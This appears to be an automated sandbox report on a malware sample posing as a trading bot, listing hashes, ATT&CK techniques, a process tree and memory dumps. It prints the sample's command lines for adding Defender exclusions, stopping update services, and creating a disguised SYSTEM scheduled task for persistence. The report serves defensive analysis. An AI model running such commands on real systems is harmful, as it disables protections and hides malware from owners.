24e0cad1fb1660de0d63c928343be126666e964e9a16fbb30350586258b0e146

Analysis

max time kernel
103s
max time network
43s
platform
windows7_x64
resource
win7-20230703-en
resource tags

arch:x64arch:x86image:win7-20230703-enlocale:en-usos:windows7-x64system
submitted
09-07-2023 19:17

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

TRADINGBOTexe.exe
Size

9.9MB
MD5

5929435942fb70609a38af09caaf79c5
SHA1

6b724e7f68bb82c04397774dcf3a50b4217313f8
SHA256

24e0cad1fb1660de0d63c928343be126666e964e9a16fbb30350586258b0e146
SHA512

27bf0a66ab54b04a21df97f1867f81b9d77127dba0a4237288556af9ead3142be2b89f79d371b58094e2d3ff678b43c50325ff305173db599971113e34ac4f7e
SSDEEP

196608:DdUuyGgNKgQ/kgOFVo5QobOMwe3OPrzucNmwj3tgbXwFriutnnc0R2XxyxK7wOkw:DzJzkgO2Qotwe3OPrzucNmwj3tgbXwFl

Score

10^/10

evasion

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 1956 created 1204	1956	TRADINGBOTexe.exe	20
PID 1956 created 1204	1956	TRADINGBOTexe.exe	20
PID 1956 created 1204	1956	TRADINGBOTexe.exe	20
PID 1956 created 1204	1956	TRADINGBOTexe.exe	20
PID 1956 created 1204	1956	TRADINGBOTexe.exe	20

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1956 set thread context of 1904	1956	TRADINGBOTexe.exe	38

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	TRADINGBOTexe.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2356	sc.exe
1020	sc.exe
1320	sc.exe
268	sc.exe
1552	sc.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2112	schtasks.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1956	TRADINGBOTexe.exe
1956	TRADINGBOTexe.exe
2260	powershell.exe
1956	TRADINGBOTexe.exe
1956	TRADINGBOTexe.exe
1956	TRADINGBOTexe.exe
1956	TRADINGBOTexe.exe
1956	TRADINGBOTexe.exe
1956	TRADINGBOTexe.exe
572	powershell.exe
1904	dialer.exe
1904	dialer.exe
1904	dialer.exe
1904	dialer.exe
1956	TRADINGBOTexe.exe
1956	TRADINGBOTexe.exe
1904	dialer.exe
1904	dialer.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2260	powershell.exe
Token: SeDebugPrivilege	572	powershell.exe
Token: SeDebugPrivilege	1904	dialer.exe

Suspicious use of WriteProcessMemory 40 IoCs

description	pid	Process	procid_target
PID 1228 wrote to memory of 2356	1228	cmd.exe	33
PID 1228 wrote to memory of 2356	1228	cmd.exe	33
PID 1228 wrote to memory of 2356	1228	cmd.exe	33
PID 1228 wrote to memory of 1020	1228	cmd.exe	34
PID 1228 wrote to memory of 1020	1228	cmd.exe	34
PID 1228 wrote to memory of 1020	1228	cmd.exe	34
PID 1228 wrote to memory of 1320	1228	cmd.exe	35
PID 1228 wrote to memory of 1320	1228	cmd.exe	35
PID 1228 wrote to memory of 1320	1228	cmd.exe	35
PID 1228 wrote to memory of 268	1228	cmd.exe	36
PID 1228 wrote to memory of 268	1228	cmd.exe	36
PID 1228 wrote to memory of 268	1228	cmd.exe	36
PID 1228 wrote to memory of 1552	1228	cmd.exe	37
PID 1228 wrote to memory of 1552	1228	cmd.exe	37
PID 1228 wrote to memory of 1552	1228	cmd.exe	37
PID 1956 wrote to memory of 1904	1956	TRADINGBOTexe.exe	38
PID 1904 wrote to memory of 416	1904	dialer.exe	3
PID 1904 wrote to memory of 464	1904	dialer.exe	2
PID 572 wrote to memory of 2112	572	powershell.exe	41
PID 572 wrote to memory of 2112	572	powershell.exe	41
PID 572 wrote to memory of 2112	572	powershell.exe	41
PID 1904 wrote to memory of 472	1904	dialer.exe	1
PID 1904 wrote to memory of 480	1904	dialer.exe	8
PID 1904 wrote to memory of 596	1904	dialer.exe	9
PID 1904 wrote to memory of 672	1904	dialer.exe	11
PID 1904 wrote to memory of 756	1904	dialer.exe	10
PID 1904 wrote to memory of 808	1904	dialer.exe	13
PID 1904 wrote to memory of 852	1904	dialer.exe	12
PID 1904 wrote to memory of 988	1904	dialer.exe	14
PID 1904 wrote to memory of 300	1904	dialer.exe	15
PID 1904 wrote to memory of 744	1904	dialer.exe	16
PID 1904 wrote to memory of 1072	1904	dialer.exe	17
PID 1904 wrote to memory of 1112	1904	dialer.exe	18
PID 1904 wrote to memory of 1176	1904	dialer.exe	19
PID 1904 wrote to memory of 1204	1904	dialer.exe	20
PID 1904 wrote to memory of 1972	1904	dialer.exe	22
PID 1904 wrote to memory of 2000	1904	dialer.exe	23
PID 1904 wrote to memory of 832	1904	dialer.exe	24
PID 1904 wrote to memory of 1800	1904	dialer.exe	26
PID 1904 wrote to memory of 2708	1904	dialer.exe	44

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:472

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
PID:464
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k DcomLaunch
  2⤵
  PID:596
- - C:\Windows\system32\DllHost.exe
    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
    3⤵
    PID:1800
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
  2⤵
  PID:756
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k RPCSS
  2⤵
  PID:672
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k netsvcs
  2⤵
  PID:852
- - \\?\C:\Windows\system32\wbem\WMIADAP.EXE
    wmiadap.exe /F /T /R
    3⤵
    PID:832
- - C:\Windows\system32\taskeng.exe
    taskeng.exe {F6CAE1DA-E89B-41E2-805D-2EDF9249278B} S-1-5-18:NT AUTHORITY\System:Service:
    3⤵
    PID:2708
  - - C:\Program Files\Google\Chrome\updater.exe
      "C:\Program Files\Google\Chrome\updater.exe"
      4⤵
      PID:2892
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
  2⤵
  PID:808
- - C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    3⤵
    PID:1176
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalService
  2⤵
  PID:988
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k NetworkService
  2⤵
  PID:300
- C:\Windows\System32\spoolsv.exe
  C:\Windows\System32\spoolsv.exe
  2⤵
  PID:744
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
  2⤵
  PID:1072
- C:\Windows\system32\taskhost.exe
  "taskhost.exe"
  2⤵
  PID:1112
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
  2⤵
  PID:1972
- C:\Windows\system32\sppsvc.exe
  C:\Windows\system32\sppsvc.exe
  2⤵
  PID:2000

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:416

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:480

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1204
- C:\Users\Admin\AppData\Local\Temp\TRADINGBOTexe.exe
  "C:\Users\Admin\AppData\Local\Temp\TRADINGBOTexe.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2260
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1228
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2356
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1020
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1320
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:268
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1552
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#yubtcja#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:572
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2112
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:2108

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
9.9MB

MD5
5929435942fb70609a38af09caaf79c5

SHA1
6b724e7f68bb82c04397774dcf3a50b4217313f8

SHA256
24e0cad1fb1660de0d63c928343be126666e964e9a16fbb30350586258b0e146

SHA512
27bf0a66ab54b04a21df97f1867f81b9d77127dba0a4237288556af9ead3142be2b89f79d371b58094e2d3ff678b43c50325ff305173db599971113e34ac4f7e

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
2.9MB

MD5
1ece0f5cafb946c3a10f9fad4373189a

SHA1
ef3ce65c1b280371c3d864c2e929a56830c06bfa

SHA256
7e60850ae5d786768cc8eca9e65921a005c3fe3dc499e296ef4a16f80f696535

SHA512
003794b5c7d642f97d63950fa605c676d6105fbe32549a17e63d90705718209dfc286f98f46d60338cbbd292db7367312e0928f85e53adc5ea46a6405891352a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
828b3dc640d630893fea12f05094195e

SHA1
d000a05d341f884edc7dd749572f48d5f271b9a5

SHA256
6bb6458d5a945c795a206d00c75adfb91317f8f64997dfa63945ccae9643dbee

SHA512
6d1e40d1ba2bb3ca3706f275727ebaa7d45a831d3a75ef5cce6000c72515f1f73acc39bf3b72e364ba199f60c2364824323ab850838773942e593aa7cea3de73

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MQJKAQFT14GF0CZBGCAZ.temp

Filesize
7KB

MD5
828b3dc640d630893fea12f05094195e

SHA1
d000a05d341f884edc7dd749572f48d5f271b9a5

SHA256
6bb6458d5a945c795a206d00c75adfb91317f8f64997dfa63945ccae9643dbee

SHA512
6d1e40d1ba2bb3ca3706f275727ebaa7d45a831d3a75ef5cce6000c72515f1f73acc39bf3b72e364ba199f60c2364824323ab850838773942e593aa7cea3de73

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
9.9MB

MD5
5929435942fb70609a38af09caaf79c5

SHA1
6b724e7f68bb82c04397774dcf3a50b4217313f8

SHA256
24e0cad1fb1660de0d63c928343be126666e964e9a16fbb30350586258b0e146

SHA512
27bf0a66ab54b04a21df97f1867f81b9d77127dba0a4237288556af9ead3142be2b89f79d371b58094e2d3ff678b43c50325ff305173db599971113e34ac4f7e

Download Submit
memory/416-76-0x0000000000730000-0x0000000000751000-memory.dmp

Filesize
132KB

Download
memory/416-75-0x0000000000730000-0x0000000000751000-memory.dmp

Filesize
132KB

Download
memory/416-79-0x0000000000760000-0x0000000000787000-memory.dmp

Filesize
156KB

Download
memory/416-81-0x000007FEBFD60000-0x000007FEBFD70000-memory.dmp

Filesize
64KB

Download
memory/416-82-0x0000000037C00000-0x0000000037C10000-memory.dmp

Filesize
64KB

Download
memory/464-83-0x00000000001D0000-0x00000000001F7000-memory.dmp

Filesize
156KB

Download
memory/464-187-0x00000000001D0000-0x00000000001F7000-memory.dmp

Filesize
156KB

Download
memory/464-90-0x0000000037C00000-0x0000000037C10000-memory.dmp

Filesize
64KB

Download
memory/464-88-0x000007FEBFD60000-0x000007FEBFD70000-memory.dmp

Filesize
64KB

Download
memory/472-98-0x0000000037C00000-0x0000000037C10000-memory.dmp

Filesize
64KB

Download
memory/472-95-0x000007FEBFD60000-0x000007FEBFD70000-memory.dmp

Filesize
64KB

Download
memory/472-89-0x00000000000B0000-0x00000000000D7000-memory.dmp

Filesize
156KB

Download
memory/480-105-0x000007FEBFD60000-0x000007FEBFD70000-memory.dmp

Filesize
64KB

Download
memory/480-103-0x0000000000130000-0x0000000000157000-memory.dmp

Filesize
156KB

Download
memory/480-107-0x0000000037C00000-0x0000000037C10000-memory.dmp

Filesize
64KB

Download
memory/572-74-0x0000000002570000-0x00000000025F0000-memory.dmp

Filesize
512KB

Download
memory/572-73-0x0000000002570000-0x00000000025F0000-memory.dmp

Filesize
512KB

Download
memory/572-70-0x0000000001F10000-0x0000000001F18000-memory.dmp

Filesize
32KB

Download
memory/572-72-0x0000000002570000-0x00000000025F0000-memory.dmp

Filesize
512KB

Download
memory/572-69-0x000000001B040000-0x000000001B322000-memory.dmp

Filesize
2.9MB

Download
memory/572-100-0x000000000257B000-0x00000000025B2000-memory.dmp

Filesize
220KB

Download
memory/672-115-0x0000000037C00000-0x0000000037C10000-memory.dmp

Filesize
64KB

Download
memory/672-162-0x0000000000510000-0x0000000000537000-memory.dmp

Filesize
156KB

Download
memory/672-111-0x0000000000510000-0x0000000000537000-memory.dmp

Filesize
156KB

Download
memory/672-113-0x000007FEBFD60000-0x000007FEBFD70000-memory.dmp

Filesize
64KB

Download
memory/756-121-0x0000000037C00000-0x0000000037C10000-memory.dmp

Filesize
64KB

Download
memory/756-119-0x000007FEBFD60000-0x000007FEBFD70000-memory.dmp

Filesize
64KB

Download
memory/756-116-0x0000000000930000-0x0000000000957000-memory.dmp

Filesize
156KB

Download
memory/852-125-0x00000000009F0000-0x0000000000A17000-memory.dmp

Filesize
156KB

Download
memory/852-127-0x000007FEBFD60000-0x000007FEBFD70000-memory.dmp

Filesize
64KB

Download
memory/852-129-0x0000000037C00000-0x0000000037C10000-memory.dmp

Filesize
64KB

Download
memory/1072-139-0x000007FEBFD60000-0x000007FEBFD70000-memory.dmp

Filesize
64KB

Download
memory/1072-137-0x0000000000850000-0x0000000000877000-memory.dmp

Filesize
156KB

Download
memory/1904-93-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/1904-71-0x0000000077AA0000-0x0000000077BBF000-memory.dmp

Filesize
1.1MB

Download
memory/1904-63-0x0000000077BC0000-0x0000000077D69000-memory.dmp

Filesize
1.7MB

Download
memory/1956-84-0x000000013F620000-0x0000000140011000-memory.dmp

Filesize
9.9MB

Download
memory/1956-92-0x000000013F620000-0x0000000140011000-memory.dmp

Filesize
9.9MB

Download
memory/2260-58-0x000000001B060000-0x000000001B342000-memory.dmp

Filesize
2.9MB

Download
memory/2260-61-0x000000000261B000-0x0000000002652000-memory.dmp

Filesize
220KB

Download
memory/2260-60-0x0000000002614000-0x0000000002617000-memory.dmp

Filesize
12KB

Download
memory/2260-59-0x0000000002320000-0x0000000002328000-memory.dmp

Filesize
32KB

Download